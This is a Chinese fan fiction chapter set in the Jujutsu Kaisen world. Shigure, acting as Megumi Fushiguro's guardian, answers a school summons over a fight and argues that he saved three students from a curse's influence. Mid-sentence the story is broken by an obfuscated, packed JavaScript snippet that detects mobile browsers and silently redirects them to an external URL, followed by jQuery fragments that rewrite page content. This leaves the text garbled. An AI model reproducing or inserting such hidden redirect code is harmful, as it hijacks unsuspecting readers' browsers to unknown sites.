夏日的气息好像已经不知不觉地在东京逸散开来,下午的风里都带了几分燥热。
新宿区的一处废弃仓库遗址中,时雨正半蹲在荒草密布的废墟边。她今天穿了一件利落的米白色真丝衬衣,下身是黑色的七分裤,露出一截白皙的脚踝。
“……现场仅一名咒术师咒力残秽,咒灵残秽集中在原生产车间。咒力残秽浓度最高处为承重柱三七等分处……”
时雨一边低声自语,一边在手中的记事本上快速记录着什么,神情清冷而专注。
嗡——
放在一旁台阶上的手机疯狂震动起来。时雨利落地写完最后一笔,扫到屏幕上跃动的“五条悟”三个字,接通了电话。
“时雨,现在有空吗?”电话那头的声音一如既往地元气满满,却又透露着几分无聊。
“五条先生,没记错的话您现在应该和伊地知先生一起在热海出任务。”时雨站起身,不疾不徐地朝着工厂外围走去,“您该不会是忽然想要为了晚上的花火大会让我来准备什么野餐零食吧?”
“诶——我在时雨心里到底是什么刻薄上司的形象啦?”五条悟拉长语调抱怨着,“这种小事我已经交给伊地知了啦。”
时雨:“……真是辛苦了啊,伊地知先生。”
电话那头隐约传来便利店的送客声,然后室外的车流声忽然重了起来。易拉罐被打开的脆响让时雨仿佛都已经能感受到气泡上涌的快乐,另一头的五条悟大概是吞咽了几口新买的饮品,然后心满意足地重新开口:“没办法啦,这里原本叫我来处理的咒灵很会享受生活,只有等到花火大会开始的时候才会出现,那我也只能勉为其难地等一场烟火啦,可惜在那之前就完全抽不开身离开热海了。”
时雨都能预想到五条悟优哉游哉地在热海的街头走着的画面,耐心地听着,“所以,您是需要我做什么吗?总不能是单纯来和我炫耀今天可以公费看一场花火大会吧?”
对面停顿了片刻,“虽然很想说我也不是每次打电话都是要布置什么任务给时雨,但这次确实有事要拜托。”
五条悟轻描淡写地接着道:“是惠啦。你知道那孩子的是吧?听说他在学校里把人揍了。准确来说,是把三个三年级的学生揍进了医院,所以被叫家长了哦。”
时雨顿住脚步。
伏黑惠,那个据说是继承了禅院家“十种影法术”的少年。按卷宗里的说法,目前五条悟应该是那孩子的监护人。虽然不知道造成这种微妙局面的前因后果,但——
“该说真不愧是五条先生监管的孩子吗?”时雨表情一言难尽,像是不经意嚼到了一片柠檬,“您也真是位处变不惊的监护人。
“我就把这当夸奖收下了啦——”五条悟很是无所谓地回应着,“说回惠啦,虽然我是觉得不是什么大事,但对方家长好像坚持要见到惠的家长,不然就要报警处理什么的。我和伊地知都在热海这边,暂时脱不开身,所以——”
时雨木着一张脸,“我想禅院家应该会很乐意会有能给予伏黑同学一些帮助的机会。”
“时——雨——”对面拉长着语调黏黏糊糊地念着时雨的名字,甚至给了电话这头的时雨一种仿佛在撒娇的错觉。
时雨走出工厂,望了眼高悬的骄阳,妥协般轻叹了一口气:“地址。”
琦玉县浦见东中学。
位于东京圈的埼玉县距离时雨下午所在的地方车程大约四十分钟。时雨驾车赶到的时候,刚过下午三点,恰逢中学放学开始进入社团活动的时间。
在学校停车场临下车之前,时雨忽然想起什么,打开车内后视镜看着里面的自己。
因为一早就陪着七海出了任务,在送走七海之后又在废墟里钻来钻去复核现场的痕迹写进任务报告,她的脸色在明亮的阳光下显得有些过分素净,甚至带了几分因为疲惫而产生的苍白感。
时雨低头,从随身的手袋里翻出两支细长的口红,犹豫片刻后选择了颜色偏深的那支,对着镜子勾勒着自己嘴唇的轮廓。
百年前的犬神附身者里见莉芳,是出了名的清冷矜贵,堪称四兽神家的门面担当,而这幅容颜放在女性身上时,则是宛若明艳而骄矜的玫瑰,在曾经代代都几乎倾国倾城的里见家巫女伏姬身上体现得淋漓尽致。
而时雨的长相除了琥珀色的眼睛继承自母亲,剩下几乎都随了父亲里见莉芳的标准里见氏长相。琥珀色的眼眸中和了外貌的攻击性,加上两颊还尚未完全褪去的婴儿肥,虽然还算不上过分凌厉的长相,却也完全不同于这个国家街头大部分甜美可爱系的女生。
红棕色的颜色在唇上化开,时雨又抓了抓自己的头发理顺,将一边的金色短发夹到耳后,露出左耳银色简约耳饰。
——应该,不会显得像太稚嫩可欺吧。
推开车门,时雨朝着手机里五条悟发给他的地址大步走去,平跟的小皮鞋踩在干燥的沥青地面上,发出清脆而有节奏的声响。
穿过青春洋溢拥抱着社团生活的学生们,时雨在教导主任办公室门口停下脚步。门虚掩着,室内并不如她预想中那般炒成一锅粥,倒是充满着奇怪氛围的紧绷感。
时雨推门而入,身上并没有半分作为被叫到学校的“家长”的局促。
教导主任的办公桌是一张长桌。教导主任和一个年级稍长的老师坐在长桌一侧,另一侧则坐着三个鼻青脸肿的高年级生,身侧分别陪伴着自己的家长。
“您是……伏黑同学的家长?”年纪稍长一点的老师疑惑地看着时雨,又将目光看向了办公室角落。
时雨还没有开口,坐在最左边男生身边的中年男人已经冷哼了一声。男人穿着黑色的背心,露出满是刺青的粗壮胳膊,显然是他旁边那位染着非主流黄毛、脸上却还带着淤青的学生的父亲。他双臂环绕胸前,上下打量了一圈时雨,鼻腔发出一声轻蔑的嗤笑:“不是吧,随便派个小姑娘来处理校园暴力?毕业了吗?喂,老师,这能算数吗?”
下一秒,他转过头,对着自己垂头丧气的儿子又是一巴掌,“没用的东西!三个人打一个,还被打成这副德行,老子的脸都被你丢光了!”
“荒木先生,还请先冷静一下……”旁边的教师一边擦着额头的汗,一边努力打着圆场。
时雨没有搭理男人挑衅的目光,视线在室内快速扫了一圈。
坐成一排的学生和家长们的最角落,是一位一直保持着沉默的母亲。面对儿子脸上的淤青,她没有叫骂,只是眼神里透露着深深的疲惫,对上时雨的目光也只是有些瑟缩地挤出了一个微笑。
看起来并不是第一次因为这种事情被请到学校。
坐在中间那位正气愤地想要站起来找时雨理论的妈妈,却在刚开口之前,就被身边那个看着像是电视剧里标准校霸形象的男生拽住了袖子。
“妈,别说了……我都说了,不关伏黑哥的事。”那个鼻子里还塞着棉球止血的高年级男生压低了声音,语气里带着一种敬畏和隐约的崇拜,“伏黑哥早就警告过我们不要随便上后山,会有危险,是我们自己非不听,如果不是伏黑哥揍醒我们,我们早就……总之,不是伏黑哥的错。”
“你在说什么胡话!”那位妈妈恨铁不成钢地戳了一下儿子的头,狐疑地看着不动声色站在门口的时雨,又看向角落的方向,满脸混杂着质疑和不解。
时雨这才转过头,和办公室里几人的目光一起,看向办公室的角落。
靠墙站着的是一个穿着整齐、校服纽扣认真扣到了最上面一颗的海胆头少年。相较于那三个头发染成了杀马特颜色、校服也只是松松垮垮披在身上的少年,如果不是淤青在谁的身上实在是无法辩驳,伏黑惠简直像是无故被卷入其中的好好学生。
男生抬起头,大约是早就收到了五条悟的消息,没有意外时雨的出现,朝着她微微点头,随即平静地垂下了眼睫。
时雨迈了几步走到伏黑惠的身侧,轻拍了一下少年的肩膀,随即自然地立于伏黑惠的前方。时雨身形高挑,还未发育完全的国中少年被掩在时雨的身影后方,倒是呈现出几分被保护的姿态。
“我是伏黑惠的代理监护人,里见时雨。”
花臂男人皱眉,明显不满:“我们要见的是能做主的人,你才多大,能做什么主?”
时雨声音平静,并没有因为刚才那个花臂男人的无礼而产生波动。她看向教导主任和旁边的老师,神色从容,“五条先生应该已经和您电话告知。”
教导主任轻咳一声,认可了时雨的话。
教导主任身侧年纪稍长的老师自称是伏黑惠的班主任武田老师,三言两语简单解释了事情的来龙去脉。
浦见东中学背靠山林。午后不久,伏黑惠和三名被揍得鼻青脸肿的不良少年一同在后山脚下出现,还被人目击了伏黑惠挥拳揍向三人的场景。
三名学生在医务室简单处理了伤口之后,学校考虑到伏黑惠当初有过揍遍全校不良的“前科记录”,又造成了学生们的受伤,所以
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290097|198490||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
哪怕三名学生缄口不言,还是选择了叫家长的处理。
“孩子受伤,家长担心当然是理所应当的。”时雨安静听着,声音如涓流般清泠淡然,“只是有几件事我还是希望了解清楚。
她平视着室内的几人,“根据校方提供的时间信息,今天下午,伏黑同学对三位同学动手,这是事实。但就目前掌握的信息来看,动手原因尚不明确,所以在校方判断责任归属之前,我并不认为伏黑同学应当被判定为唯一的过错方。”
教导主任蹙眉。
坐在中间的妈妈刚要开口,她儿子又拽住了她的衣袖,压低声音说了什么。
时雨将目光移向那个鼻子里仍塞着棉球的少年。少年大约十五六岁的模样,头发却是少年老成地染成了乱七八糟的颜色,但此刻却是瑟缩在椅子里,敬畏的情绪远远大于愤怒。
“这位同学。”时雨直接开口,“你刚才有提到后山?”
少年抬起头,犹豫了片刻,点了点头。
“伏黑哥说过那里‘会有危险’,”少年的声音带着几分后怕的沙哑,“我们以为是他在那边偷偷干什么,就不信邪,想要过去看看究竟。然后……”
他顿了顿,眼神有些飘忽,像是在回忆些可怕的记忆。
“然后怎么了?”男生的母亲在一旁追问。
“然后我们就有点……不对劲。后山有个垂直度比较高的坡,还有座桥,平时的大家都知道那边危险,所以很少会过去。但那天不知道怎么的,荒木就直接走到了坡的边上想要往下冲,我和另一个人则是在桥边想要直接往下跳。我们不知道脑子里在想些什么东西,好像控制不了自己的腿一样。”
他有些瑟缩地打了个冷颤,抬头看着伏黑惠,像是寻求着什么认可,“是伏黑哥把我们一个个拎回来的,顺带……把我们打清醒。”
除了时雨以外,在场所有的家长和老师都一头雾水的模样。
时雨依旧镇定地提问:“所以由其他同学目击的‘伏黑同学对三名同校学生实施暴力’的行为,就是伏黑同学把你们从危险地方带回的时候?”
“是……”
时雨颔首,目光淡淡扫过众人,“看起来目击的几位学生只看到了‘动手’,却并没有看到前因后果,因而造成了误会。如果情况属实,伏黑同学是在三位同学神志不清时采取的紧急处置,而并非是所谓的‘校园暴力’。这一点,我想诸位应该有达成共识。”
花臂男人脸色难看地插话,但在看到自家儿子附和地点头的模样时,敛去了几分怒容,“好端端的人,怎么会忽然在学校里神志不清?后山那里又是怎么回事?怎么你家小子就能提前预警有危险?”
时雨隐约有了几分猜测,面上依旧自若,“后山地形有落差,本就不是学生们日常的活动场地。国中的学生们多少喜欢探险,伏黑同学提醒同学不要在山上放肆玩闹并无过错。至于今天早些时候,三位学生为什么会出现在后山,又做出异常的举动,我想这应该超出了伏黑同学需要解释的范围。”
她清泠的目光落在教导主任身上,“至于校园内为什么会存在危险地域,以及对于学生的风险教育这一方面,我想这大概是校方需要给我们一个解释的地方了。”
顿了顿,时雨最后补充道:“我无意替伏黑同学完全脱责。如果他的处理方式有任何不妥当的地方,我……我们会认真进行教育。但如果不是他的错,也请校方不要轻易将‘故意伤人’的帽子扣在一个仅仅是国中三年级的学生身上。”
教导主任扶了扶眼镜,和身边的武田老师交换了一个眼神,随即清了清嗓子,斟酌着开口:“事情的经过还需要进一步核实。今天暂且先了解到这里,辛苦各位家长特地赶来。我们会和目击同学确认核实后,再出具正式的处理通告。”
离开办公室的时候,走廊上的阳光已经拉长了角度,斜斜透过窗户映入,将人影拉成了细长的一条。
教学楼里已经空了大半,没有了刚放学时的喧嚣。两人顺着楼梯向下走,才听到操场方向传来运动社团的断断续续的活动声。
走出教学楼,时雨并没有朝着来时的方向拐去,而是停下了脚步。
她看向海胆头的少年,“那么,带路吧。”
伏黑惠怔然地看着她。
阳光落在时雨浅金色的头发上,染上一圈淡淡的橙黄。时雨弯了弯眼角,琥珀色的眼眸更添了几分信任的暖意,“后山那边,应该是有咒灵或是咒物出没,不是吗?”